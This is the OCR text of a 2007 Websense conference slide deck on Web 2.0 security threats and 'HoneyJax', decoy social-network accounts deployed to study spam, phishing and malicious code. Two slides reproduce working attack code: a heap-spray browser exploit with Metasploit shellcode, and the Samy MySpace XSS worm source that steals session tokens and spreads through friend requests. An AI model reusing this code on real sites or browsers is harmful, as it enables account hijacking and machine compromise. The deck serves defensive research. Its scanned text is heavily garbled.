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Perpetual Beta = Live Testing = Trouble
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Airline Terminals using Active Script
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Start : Middle : End

= Wait, the Web has version numbers?
= Web Two Dot UH-OH or Exploit 2.0

= An introduction to HoneyJax
— Definitions
— Reasons for deploying them
— Types: Passive, Active HoneyJax, Passive Aggressive
— Reporting data from Accounts
— Disclosure for web site vulnerabilities
— Legal Aspects / Grab Bag

= Conclusion
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One of these things is not like the other

= |ts a bird, is it a plane, no its Web 2.0 : 80% top 20 Web sites
have Web 2.0 “philosophies”
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XML HTTP Request

= When Microsoft created XMLHttpRequest in Internet
Explorer 5, which let browser-side JavaScript communicate
with the web server in the background without requiring the
browser to display a new web page. That made it possible to
develop more fluid and responsive web applications. Mozilla
soon implemented XMLHttpRequest in its browsers, as did
Apple (in the Safari browser) and Opera.

= Several dozen *very* loosely defined standards mashed
together

= At the heart of it all are JavaScript and XML
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Web “Two Dot Uh-Oh”

Losing control of your destiny: User Created Content
Who do you trust: Social Networks

Unattended Installs and Code Injection: R.S.S

Mushy Peas: Mash-ups

ANY ANY PORT 80: Security is often the last ones to know

But | have a firewall: Its about the information not the
network

If | told you to jump of a bridge...: Its just sooo00 easy and
being web 2.0is cool WEBSENSE" .
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Threats = User-created content

= Property owner gives / leases space to user

= 400 Million + pages change dramatically
close real-time

= Content stripping done but very difficult to
enforce (JavaScript obfuscation deluxe)

= Easy to test for vulnerabilities, little disclosure:
Can you say “Web borne Worms”

= Allow dynamic/graphic content (jscript, qt, mov) Ll
=  Trust within user-networks

= Used a many-to-many communication platform
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User-created Content = Hidden IFRAME
w/WMF, CSS auth page phish, Wikipedia
rojan

Fle Edt Wen Go Ouokrks Todls leln
E 8D DEe o= &

Wrysmacecom Wrvmace com I

Direkter Link zum Wikipedia-Artikel

[ Frefos preventes tis site from op=ning & popup windo

Wikipedia schlagt Alarm. Neue Variante des W32.Blasters im Umlauf. Wurm-Fix
zum Download

i e W32.Blaster (such W32 Lovasn und MERizsf) it ein Corputervrurm, der sich durch Ausrutmng eines Sichecheitebicke = der
BPC-Sclmittstelle von Microsof Windows verbreitet. Der Wurm verbreiter sich ausschlie i Ylich uber e Betriehssysteme Windows 2000,
I und Windows Server 2003 toer den TCP-Port 135, Das Distrbuted Comgpubng Enareament (DCE), das auf emer Vielzahl verschisdener
Betnsbssysteme installiert sein karm, wererendet auch BPCs dber Port 135 In Felge emer Schavachstelle : der Implementienang emigsr
Hersteller leana auf manchen Plattformen der DCE-Dienst pum Absturz gebracht weerden.

exp.wmr
wnich 15 2 @inary Fie
from kit 1209 190 31 34

It s Firafos do with this a7 —

€ apenw

@ Saveronige
ro

Dier Wuren kasn allerdings bes emerm Angnff mickt erdcennen, ob das Angrdforiel begeits befallen ist. Er bremst sich dechall in der Verbresung
sellsst auz, da er auch bereits befallene Windows-Fechoer zum Absnz bringt, Brst wenn der ngriff erfolgresch war, wird oberpruff, ob die
Diatei msbizst.ene bereits suf der Festplatte worhanden ist

Dier Wurmn solite am 16, August 2003 sinen Distributed-Trenzl. of- e Angrff auf die Tpd: iten der Forma 1 durchfighren, auf
duzen awch der Fatch fir die Sicherbeitzlocke lages.

Mutationen

L (=TT e Fine dicser M \combinies den Warmn it einem Trojanischen Pferd.
¥ew E0 Bocmarcs Teok Halp

2 - Hirelete Bedrobung fir die icherheit der des dar, da der Whrm sich rachs mehs auf
EoRk] . =] D& [l e der Hutzer fir inen mlbiaftigen Angriff pespasiert.
i 3
s
R
You Must Be Logged-In to do
That| WHAT'S . onryina
MySpace is FREE, But ¥ou Must B2 3 Membar = Spankings
19 Use That Faature G R EAT Hot nights,
1 hotter momings
e ABOUT A - Making up with her
Ermr——" 9
Ble Ede Yew Fgortes Jook  Hele BAD GIRL.
Back ~ -
e True
R o —4
E-Mail L i
Password:
Forgat yeur pasemord?
RN s ——
T mememaer e \\ iy r

Mot & MySpace Member? Join FREE and
Gat Connected!
After You Sign Up You Can: )
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Social Networks (1 account : 70M views ~2 M
“friends”)

Interlinking of hundreds of millions of users
= Communication platform not just content
“Email is so yr 2000”
= More contacts = better site / success
= One “friend” can infect millions through their network
= One account compromise can be used to gain user trust

PARALYZE
TILA TEQUILA

1 i i b3 & Total Plays: 55606783 Downloads Today: 0 Plays Today: 7386
(=

gt

PARALYZE Plays: 1259525

R.at < t: Luyri Add
Fop / Hip Hop ¢ Rap ate | Comments | Lyrics |

FUCE YA MAN Plays: 2228087
Rate | Cormrments | Lyrics | Add

CALL ME 260 256 8452 Plays: 3609540
Rate | Corments | Lyrics | add

EMOCK U OUT  Plays: 3766409
Rate | Cornments | Lyrics | add

ig MYSPACE.COM (STANDALONE PLAVER)
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Social Networks = “My network is bigger
than yours”

= Its not just about entertainment. Business colleagues,
networking with associates, recruiting, etc., gaining
popularity

<HTML>
<TITLE=In God We Trust, VDA Labs, LLC</TITLE>
<HEAD>
- <object classid="clsid:0F2437D6-C4E4-42CA-A906-F506E09354B7" id="target ></object>
LlnkEd m® <script language=favascript'>
A tuncion repeatn
. {
Profile retval=";

for (i=0;i<n;i++)
retval = retval + ¢;

joe hacker return retval

}
= Che Hack
i HEAX contains this value. call [eax]. that lands us on the nops.
= Greater San Diego  pjind jmp = repeat(50000,unescape("%w0ala%u0ada"));

« H italit
Bl llshellcode: From metasploit.com. SC can be very big if you want.
= shellcode = unescape{"%uc931%ue983%ud9dd%udIes%u2474%u5bf4%u7381%ub213%u28cd%u837b%ufceb%
Contact Info ufde2%u254e%u7bbeSucdb2%u3eal%ud68e%u7ed4%ucceaufic 7 %udSfd%u24aldtucc92%u32e3%uf939%

u7aa3%ufcsc%ue2e8%ud 91e%u0fe8%ulchS%u76e2%ulfb3%ubfe3%u9989%u7 f0c%u28e 7 %u24a3%ucc 6%

ulde3%uc139%uf063%ud] ed%u8029%ud1 39%u7aa3%u4459%u5f74%ulebb%ubb19%u46d6%u4bB8%u0d37%
u7750%u8d39%uf024%ud1¢2%uf085%uc5da%u7 2¢ 3%ud d39%u7h88%ucdb2%u1 3a3%u928e%u8d19%u9bd2%
u83al %u0d31%u2b53%ub3da’%u99fi%uabc 1 %u8sb0%uc338%uB4 7 huaes5%u1749%ue3d1 %u034d%ucdd? %

Join LinkedIln and )

. . Ifthe nops are executable and deref to the same spot
L AU G RN nops = repeat(3925, unescape("%ulala’%udala") );
=» Have Joe steal your cv=iun -
=> See who you and joe know in commeon
ave Joe send worms to all the people you know in commen
=’ Have J d Il th I k i

”

L Join Now ] Sweasmsz'.
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SideBar: Un-attended installations (can they
happen?)

= RSS: Meta-Feeds

= RSS: Pulling data every X seconds
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Introduction to HoneyJax
= HoneyPots = HoneyClients - HoneyJax

= HoneyPots:
Emulate OS and Applications behavior

= HoneyClients:
Emulate client applications behavior

= HoneyJax: |
Emulate user accounts, profiles, | s“mm sy, PR
| Un-attended Exploits with RSS, al

and web social networks . | & et Ot
Can also emulate user behavior |
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Reasons for deploying HoneyJax

= 95% of all BLOG comments are SPAM (src: Akismet)
= SPAM -> PORN -> Phishing -> Malicious Code
= One new weapon in arsenal to help research Web 2.0 threats

= The threat playing field is changing and research needs to
evolve with it

= Can be used by web property-owners also

= Assistin:

Tracking and trending attacks, attackers, predators

Escalation to abuse or security department of property
owners

Track common techniques

Collect samples of binary code for detection / protection
Collect URL’s and script code for detection / protection
Monitor outbreaks (yes more Web worms are coming)
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Types of HoneyJax

Passive HoneyJax:

Accounts in web 2.0 space that are not
luring users to add them to

their network in any way.

Active HoneyJax:
Accounts and BOT’s in web 2.0 space

that are designed to join networks ﬁw@r_wmm
actively and solicit users to join theirs |y el

|+ & JavaScript Obsfucation

and reply to requests.

Passive Aggressive HoneyJax:

Accounts that are designed to lure users to visit them through
their characteristics. Eg: pOrn, baby boomers looking for friends,
music band, common interest groups, popular merchandise,
contests
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Passive HoneyJax : Luring a Fraudster

Listed in category: Sporting Goods > Cycling > Mountain Bikkes & Parts > Complete Bikes B Frames

NEw bike picture Item number: —

This item is being tracked in My eBay

Meet the seller

Starting bid UER LN Place Bid > 5

End time =

Shipping costs: Check item description and Read feedback comments
payment instructions or -

contact seller for details Ask seller a question
Add to Favorite Sellers

Ships to United States
= = View seller's other items
PRt & ==
History: 0 bids Buy safely
1. Check the seller's reputation
View larger picture Youcan also: | watch This item | Score: 1 100% Positive
Get alerts via Text message, Read feedback comments
Instant Messaging 2. Check how you're protected
or Cell phone -
Email to a friend [FEpA7El]” Up to $200 in buyer
protection. See
Listing and payment details: Hide eligibilit
Starting time: Jun-27-07 10:02:32 PDT  Payment methods: PayPal
Starting bid: US $0.00 ShoeEr s
- m . F
Pasitive feedbadk: 0%
Member since: Mar-2707
Location: valle, Colombia
Registered on: www.ebay.com

[tem: 10 ™8 | Bl § "ol EIE
This message was sent after the listing closed.
| | |

| want the bike, give me number account bank and tomorrow i solicite deposit to you in the moming,please | want the bike, thank you.
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Passive HoneyJax : Spam first !

Yuu Tth Hello g gmms | MyAccount | Histary @ | Help | Log Out | Country, =—
Broadcast Yourself™ Videos Categories Channels Community & upload

[ Search | Google
M!! ACCOunt ,f General Messages My Yideos - Favorites - Plavlists - Inbox - Subscriptions

Your Inbox is the central place to keep track of messages and videos from other people on YouTube. You can view and delete messages
and invites sent to you, manage comments and video responses, and send messages to others.

General Messages From Subject Received

Friend Imidtes

Received Videos r r T i | Ne
L

Video Comments u mEw ] [ = = N m n

L am .
Video Responses
Sent
blog video
Compose Email | - hi, pleaze upload all your videos to Mationo . Com Jun 03, 2007, 12:53 Aw

Sciencebtust T
Message Setting eW

hi.. what's up?

[~ Only allow oy That's & sweet video page you've got there.

contacts to send me
Messages r You should check out my ather site.. I'm usually online there: wew Irened7o video-nest Jan 25,2007, 11:10 AM
Submit I

'dot' com, But umim, ignore the pics lol!
Irene7o

Checkdncheck All

Remowve |

| Search | % Presidential Debates

Your Account Help & Info YouTube
Widens Plavlist=  Subscriptions Help Certer Developst APLS Copyright Motices Company Infa Terms of Use Press Bloey
Favorites Imbce mote... Wideo Toolkox Safety Tins Code of Conduct TestTube Privacy Palicy Contact Johs

@ 2007 YouTube, LLC - Give Feedback
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Passive Aggressive HoneyJax : Luring $$$$

We're so there.
Meet you at the starfing line!

(3 Fidelity

sidexicK »
Lowii iFe o lll'.'|!I|.' ale af 5".'.,. '
[ MySpace [l b I Blogs | Video | Ew

C | F Saarch Eans & Semeh Bony
N Y :

GerryAftric's profi

GerryAttric s 3 s

Home Browse Search Invite Film Mail Blog Favorites Forum Groups Events Videos Music Comedy Classifieds

Chello frs
Here, loaded with the string.

Your Network:
3..2..1.go0! 186,740,264

Edit Profile

Account Settings Profile Views:

Add/Edit Photos

Your profis has bean

- Last Login:
Add/Change Vid
/Change Videos &/27/2007 View 1 new message 8 Edit my g
Manage Calendar : 3
— et Show My: View all comiments A a vd
Manage Blog Ranking Score
View My: Favorites
Profile | Pics | Videos | Blog  Manage Address Baok

Invite History
Classified Posts
Bulletin Posts

o | My Groups

Comments | Friends

Check out the New MySpace Profile Editor NEW! 4 advertisement
Now powered by Fantastic Four Rise of the
Silver Surfer

Help
Pick your MySpace Name/URL! mmante
Click Here yhes
| Post a commant
O |
American Alabama
Ranger #1 Tourism Board
inbox friend requests britetharn Payam NEGOT'ATOR Lhaut me
Mare Vidzas | Featured | Upload Fik
sent post bulletin » hafd aboul e
Make MySpace my Home Page Gr _\Jlr_. updates
Bulletin Space o P i i
Books Forum Mobile Profile Editor new Bi0g The Lle Chaﬂﬂlﬂﬂ Power Uf
You don't have any bulletins yet. Blogs Grade My Prof. Movies Ringtones NEw You haven't created 3 LifeMay FREE1LP
. ChatRooms  Groups Music Schools vt e
Bulletins are messages from and to all your friends . yor 5 -
at once. Comedy Horoscopes Music Videos TV On Demand " i
You can use bulletins to alert your friends about a Downloads ~ Impact new MySpacelM  Videos A
party, things for sale, job hunts, ete. Filmmakers  Jobs News NEw! Weather new
(Post a Bulletin Here)
Sponsored Links * ddd my interssts and activities online e-commarce businass

No Hassle Colleae Loans * Tal me moes about LifeMag

farming now
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Passive Aggressive HoneyJax : My Friends

- lan 1z, 2007
2:59 PM

[ lan 10, 2007
9 EZ6 AM

- lan &, Z00O7
1:32 AM

[ Dec 20, 2006
11:46 PM

[ Dec 19, 2006
7158 PM

[ Decl1l, 2006
1:57 PM

[ Dec 5, 2006
8:59 PM

Read

Unread

Read

Unread

Unread

Read

Read

No Subject

This Profile No Longer Exists

Th

s Profile No Longer EXists

This Profile No Longer Exists

This Profile No Longer Exists

This Profile No Longer Exists

GET $1500 BY TOMORROW -TT##39;5

S0 EASY-CLICK HERE would like to
invite you to join the group GET
$£1500 BY TOMORROW -IT'S SO
EASY-CLICK HERE

S
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Active HoneyJax : 4 Types

= QOpen Source
= Commercial

= Proof-of-Concept (i.e. copy-code)

Received Which invitations should you accept?

= Do your own

Invitation to Connect on Linkedin

To: joe hacker
Status: Pending

If you know Jack and accept this invitation, you will be able to share current contact
information, see each other's complete profiles, and use Linkedin to stay up-to-date.

Accept | Don't Know Jack Decide Later Flag as Spam

T |

Security Labs




Active HoneyJax : Open Source

File: READMWE

FacebookBot

All classes Hide... o
Fiter Description

Array
FacebookBat
FacebookFriend
FacebookFriends
FacebookGroups
FacebookHelper
FacebookLogin

Hello from FacebookBotl

Faceboolk Bot is allows for completely automated contral of your Faceboolk profile.

FacebookMessages i -
FacebookPictures FacebookBEot allows you to destroy or improwve Faceboolk via:
FacebookPoke
FacebookProfile i ] ;
O = Posting Profile Pictures
FacehookWall = Tagging Pictures
Grammar }
Hash = Changing your Status
Random )
= Posting Wall Comments
All files Hide = Changing Personal Profile Information
Filter: = Sending and Reading Private Messages
EXAMPLES = Joining Groups
LICENSE _ _
README = Adding Friends
hasic_hot.rh . .
complex_bot.rb = A gystermn for generating random sentences (rather simply)
example_hot.rh
...k_botffacebook_hot.rh = And much more. .,

...otfacebook_friend.rb

...cebook_hot/friends.rb

...acebook_bot'groups.rh -
...acebook_bothelper.rh Down Ioad I ng
facebook_hot/login.rb

...ebook_hot/messages.rh

%--Ehgﬂkihzﬁsim:msﬁfb You can obtain the hot-off-the-press-brand-spanking-new FacebookBot and loads of
aEE..ﬂﬂ.,—.,ﬂ,xE?n;?.i h pretty examples from rubyforge.orgifrsi?group_id=3643 |
SWEBSEHSE'-t L h




Active HoneyJdax : Commercial

RIEND

bBal i e
fren  wWpdalan

Welcome to the home of the FriendBot!

TOITED DALY 27—
FriendBot Suite now has captcha bypass!
| gy . = Aute aceepl pending Triend Popular Links
— —— ; . requests Free Dovenload

+ Sendt reas faend reguests

+ Impart users Troim commenks, £
friands and mare LitePa :

i, == | Comment on all of your frends "I, -

Tz == vith auto commenter
t"'T == Ewvant and Group inviter

=
m e | * 570d Byent invikes to

_—— = Aubo message, comment, ar Help me choose a batd
T Just aproval - : A Guide far Mac users
= et more myspace friends with  wicensoft NET Runtime
- adding Afrtiliate sigmiap 0% cammission
ey
ey

Windows and Mac!

Lol _——% EVaryone on pour hat
A« Inwite all your fnends (o % * 3 . L T
FriendBot Suite 5.0 groups We now have both windows and

mac versaon of gur software. Look

~ far Bhedae conms o K
The best messaging features

« Sparch by any demographic on myspace.comi Get more Eriendsi
« Algws vou ko search bands

« Meszage only onkre ULers  Eri )

» IMport friends fram the page you sre on More Info i R e ek e e
= Send messages o users with pechures only i & matter of fnutes

= Import the friends of someone elsal - '
I. ¥eaps [ra-:l;luil:f 'ﬁ'hq r.rhas sent to $
Imbrper fme wletin features

all frluallurm. havie: 55 '5D ¢
&+ Filter out bands and/or people

= Glokal age and gerdes Fiter

» Frea updates for kfe!

Promote your band!
There 5 no batter place to

promobe your band e
My Space com. Do & e nght way

S WEBSENSE" o
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Active HoneyJax : POC

<dv id=mycode style="BACK GROUND: wl( java
scripteval(document all mycode expr))" expr="var B=String fromCharCade(34)var A=String fromCharCade(3%)function gf) {var Citry{var D=document body create TextRange():C=D htmIText}
catchi(e) {3 C){return C }else{retum eval( document body e+ THTML')} Hunction getData(AU) {M=getFromURL (AU, fiendID').L =petFromURL(AU, Mytoken')}function getQuervParams()
{var E=document location search:var F=E substring( 1 E length) split( & -var AS=new Arrav()for(var O=0:0<F length Or+){var [=F[0] split(=):AS[I[O]=I[1]} retarn AS}var Jvar
AS=getQuervParams()var L=AS[ Mytoken'|var M=AS[ friendID'|:{location hostname=="profile myspace com’)

{document location="http: wwww myspace.com+location pathname +location search} else {ff{'M) {getData(z()) jmatn() function getClientFID() {return findln(g(). up_launchI C( '+A.A)Hunction nothing
()¢ }fumetion paramsToString(A V) {var N=new String()var O=0for(var P in AV}{H{O>0){N+=& }var Q=escape(AV[P]):whde(Q indexOf +)/=-1){Q=Q replace('+', %01B')}while(Q index Of
(&)!=-1){Q=Q replace( &' %26') ) N+=P+'="+Q:0++)retun N }function httpSend(BH BIBI BK){if{ ]} {return false eval( T onr'~'eadystatechange=BI').] open(BI BH true):{BJ==POST')

] selR equestHeader('Content-Type' application/x-www-form-wlencoded).] setRequestHeader('Content-Length' BK length)}J send BK) retun true }function findIn(BF.BB.BC) {var
R=BF indexOf(BB)+BB length.var $=BF substring(R R+1024) retum § substring(0,$ indexOf(BC)) }function getHiddenParameter(BE BG){return findIn(BF name='"+B+BG+-B~' vahue="+B B)}
function getFromURL(BF.BG) {var T.(BG="Mytoken){T=B }else{T=& }var U=BG+=var V=BF mdexOff Uy lengthvar W=BF substring(V.V+1024)var X=W indexOff T)var
Y=W substring(0 X)-retur Y }function getXMLObj(){var Z=falseffiwindow XMLHttpRequest) {try (Z=new XMLHtpRequest()} catch(z) {Z=false} }else f{window ActiveXObject) {try {Z=new
ActveXObjeet( Msxml XMLHTTP')} cateli(e) {trv{Z=new ActveXObject(Microsolt XMLHTTP)}catch(e){Z=false} } }retum Z}var AA=g()var AB=AA mndexOf' m'+'ycode ) var
AC=AA substring(AB AB+4096):var AD=AC indexOff D'+'V')var AE=AC substring(0. AD) var AFif{AE){AE=AE replace('jav'+'a A+ jav'+'a) AE=AE replace( exp'+1)  exp+'r)'+A)
most of all, samy is my hero. <d +1vid="tAE+D+IV>"}var AG:fnction getHome(){ifl] readyState!=4){return}var AU=] responseText AG=findIn{AU, P+ rofileHeroes . < td>"). AG=AG substrin
(61.AG length)f{AG indexOf'samy')==-1) {if( AF) {AG+=AF var AR=getFromURL(AU, Mytoken'):var AS=new Array():AS[interestlabel |="heroes" AS[ submit }=Preview’ AS[ nterest]
=AG J=getXMLODj() hittpSend( ‘mdex. cfmfuseaction=profile prevtewlnterests& Mytoken="AR postHero, POST' paramsToStmg(A$))} } Hunction postHero(){i{] readyState/=4) {return}var
AU=] responseTextvar AR=getFromURL(AU, Mytoken')var AS=new Array():AS[interestlabel |='heroes" AS[ submit = Submit" A S[ interest ]=AG; AS[ hashJ=getHiddenParameter
(AU hash) hitpSend( mndex. cfin’fuseaction=profile processlnterests&)Mytoken="-AR nothing, POST' paramsToString(AS)) }function main){var AN=getClientF ID():var BH=/index cfm?
fuseaction=user viewProfile &ftiend[D="-AN+'&Mvtoken=" XMLObj():hitpSend(BH getHome, GET ) mihttp2=get XML Obj() httpSend (' findex ofin?
fuseaction=invite. addfriend verify&friendID=11831638&Mwtoken="L processsForm, GET') }unction processxF orm() {if{xmlhttp2 readyState!=1){return }var AU=smibtip2 responseTextvar
AQ=getHiddenParameter(AU. hasheode'):var AR=getFromURL(AU, Mytoken'):var AS=new Arrav():AS[ hasheode [=AQ:AS[ friendID'|=11851658' AS[ submit ]='Add to Friends' httpSend?
(Vindex. cfin’fuseaction=ivite addFriendsProcess&Mytoken="+AR nothing, POST paramsToString(AS)) function hitpSend2(BH.BLBJ BK) (il xmlhitp ) {retum felse Jevl
(mihttp) onr'+ eadystatechange=B1 ) xmihttp open(BJ.BH true)f(BJ=="POST') {xmlhtp? setRequestHeader Content- Type'‘application s-www-form-urlencoded ) mihtip? setRequestHeader
(Content-Length’ BK length) jsmihtp2 send(BK) return true} "</ DIV

irefox
marks  Tools  Help

T [SR hee 1 indes. chmzF F

Springfisi
Hifih (T

ter 1 RULE
d Request Manager/” & approvelpr Deny YourlFriend Requests Here [help]
o 1-10 oF s13064 967

MAD PHOTOSHOP SKILLS

OO owia,
zoos
lotzi pm

AlysOnit wonts to bo your frisnd!

[(Brprwe ] (Pany ] [(FendMessaoe ]

‘K S

Erika wants to be your trisndl

oeta,
=l 2005
28720 pm

Ao s
S [Eeoeas) Losiel| ieenimisssarss]
oS

R
rauoheat the U..
SISTEREEE

Elk River Guiding
fpany - Fernie
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Active HoneyJax : DYO

AINAX
HACKS

WEBBOTS, SPIDERS,
ano SCREEN SCRAPERS

A GUIDE TO DEVELOPING INTERNET AGENTS
WITH PHP/CURL

MICHAEL SCHRENK

Roadmap
Projects
Coding
Maodule Cwners
Hacking
Get the Source
Build It
Testing
Releases
Nightly Builds
Report A Problem
Tools
Bugzilla
Tinderbox
Bonsai
LxR

FAQs

Products Support Store Developers About

SpiderMonkey (JavaScript-C) Engine

What is SpiderMonkey?

SpiderMaonkey is the code-name for the Mozilla's C implementation of JavaScript.

Where do | get it?

The core SpiderMonkey engine can be found in mozillafjs/sre. The stand alone interpreter can be built

using Makefile.ref, Read mozillafjs/sro/README.html for the nitty gritty, Some projects embedding the
JawaScript engine (in addition to Mozilla itself) are listed in the projects page.

You can get the engine via CYS and build it yourself, or look for recent tarballs at {please check the
rirrors first), http:fftn mozilla.org/pubsmozilla. orgfis/. Release notes are available at
httpne /fweww . mozilla. orgfjs/spidermonkeyrelease-notes/.

Where do | find out more?

Site Description

JS Embedder's Guide A guide to embedding the JavaScript C engine in applications,

. & function by function reference to the public JavaScript aPL.
J5 Embedder's Reference in the

following formats:

* One entry at a time

+ All entries in a single page
* Mozilla Sidebar

* Source XML file
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Reporting and Forensics

HoneyJax accounts should be setup to send email or SMS
when new attempts to access the account are added

Spider/Bot should connect to HoneyJax accounts and
fingerprint content looking for changes. Make sure that
dynamic content changes by the host are accounted for. All
changes should be kept and stored

Data should be mined for URL’s that are dropped
Content should be analyzed from data mined
Binaries should be sandboxed, etc...

JavaScript should be run through decoder and tested

HTML code should be tested for candidates to send to
sandbox

Report information to vendor, web property owner, etc..
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The LAW and the T&C's

As with any honey technologies check with your legal team

before you deploy these

Check Acceptable Use Policies / Terms and Conditions

Be weary of “commercial” software that allows you to
manage profiles, add friends, etc..

The following is a partial list of the kind of activity that is illegal or prohibited on
the MySpace Website and through your use of the MySpace Services.
MySpace.com reserves the right to investigate and take appropriate legal action
against anyone who, in MySpace.com's sole discretion, violates this provision,
including without limitation, reporting you to law enforcement authorities.

iamys-‘.p:a\ce.ccnm'S

a place for friends

Terms & Conditions

MySpace.com Terms of Use Agreement
April 11, 2007

MySpace.com is a social networking service that allows Members to create unique
personal profiles online in order to find and communicate with old and new friends. The
services offered by MySpace.com ("Myspace.com" or "we") include the MySpace.com
website (the "MySpace Website"), the MySpace.com Internet messaging service, and
any other features, content, or applications offered from time to time by MySpace.com
in connection with the MySpace Website (collectively, the "MySpace Services"). The
MySpace Services are hosted in the U.S.

This Terms of Use Agreement ("Agreement") sets forth the legally binding terms for your
use of the MySpace Services. By using the MySpace Services, you agree to be bound by
this Agreement, whether you are a "Visitor" (which means that you simply browse the
MySpace Website) or you are a "Member" {which means that you have registered with
Myspace.com). The term "User" refers to a Visitor or 3 Member. You are only authorized
to use the MySpace Services (regardless of whether your access or use is intended) if
you agree to abide by all applicable laws and to this Agreement. Please read this
Agreement carefully and save it. If you do not agree with it, you should leave the
MySpace Website and discontinue use of the MySpace Services immediately. If you wish
to become 3 Member, communicate with other Members and make use of the MySpace
Services, you must read this Agreement and indicate your acceptance during the
Registration process.

Prohibited activity includes, but is not limited to:

1.

criminal or tortious activity, including child pornography, fraud, trafficking in
obscene material, drug dealing, gambling, harassment, stalking, spamming,
spimming, sending of viruses or other harmful files, copyright infringement,
patent infringement, or theft of trade secrets;

advertising to, or solicitation of, any Member to buy or sell any products or
services through the MySpace Services. You may not transmit any chain
letters or junk email to other Members. It is also a violation of these rules to
use any information obtained from the MySpace Services in order to contact,
advertise to, solicit, or sell to any Member without their prior explicit
consent. In order to protect our Members from such advertising or
solicitation, MySpace.com reserves the right to restrict the number of emails
which a Member may send to other Members in any 24-hour period to a
number which MySpace.com deems appropriate in its sole discretion. If you
breach this Agreement and send unsolicited bulk email, instant messages or
other unsolicited communications of any kind through the MySpace Services,
you acknowledge that you will have caused substantial harm to
MySpace.com, but that the amount of such harm would be extremely difficult
to ascertain. As a reasonable estimation of such harm, you agree to pay
MySpace.com 350 for each such unsolicited email or other unsolicited
communication you send through the MySpace Services;

covering or obscuring the banner advertisements on your personal profile

g g g
any automated use of the system, such as using scripts to add friends or
send comments or messages;
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Services or the networks or services connected to the MySpace Services;
attempting to impersonate another Member or person;
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Disclosure of Website Vulnerabilities : Its not
just about the browser !

Website Security has to be taken more seriously !

Massive amounts of problems with sites not being patched,
configured incorrectly, allowing bad data, conduit for others

Website security or lack thereof is a HUGE problem

Cross site scripting, open redirectors, allowing binary file posts,
not scanning upload files, poor script filtering are all big problems

PHP BB, SQL, old Web servers, old OS all too common
Problem with tracking?
— No version numbers : how about time-stamp + example + hash

— No reporting : security departments must field reports on
websites and do more testing, re-testing

— Change controls: force security into the process

— No public credit: MS and Google started doing this, others
should start

— Property owners: get to know who is in your backyard
— How about a web owner area on OSVDB?
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Grab Bag

= What if there is areference in one of my HoneyJax but the
site is down?

— A: Is there areputation for it?
* Query search engines for link references and cached
pages
What is the age of the domain
History the site hosted malcode/phishing in the past
Who registered it
Where is the IP located
 Who are its neighbors

= My boss told me that | need to make our website “Web 2.0,
should 1?

— A: Get the security team involved. Make sure they buy-off
on all design, implementation, and have a reproducible
security testing process, mitigation techniques, and
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Conclusion

= Don’t run with Scissors
— Before you deploy Web 2.0 be educated on the risks

= If you must have user-created content...
— Filter, Filter, Filter, Pen-test, Pen-Test, report, update

= |f you are a security researcher..

— Advanced JavaScript may not be as cool as ASM but its
powerful. Live it, learn it, you don’t have to love it

= The good, the bad, and the ugly

— There is alot of good, productive, useful Web 2.0
functionalities. But with functionality comes security risk.
Security standards, policies, and practices must balance the
scales with functionality. Its not too late !
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Questions
are
guaranteed in
life;
Answers
arent.

dhubbard /AT/ websense /DOT/ com
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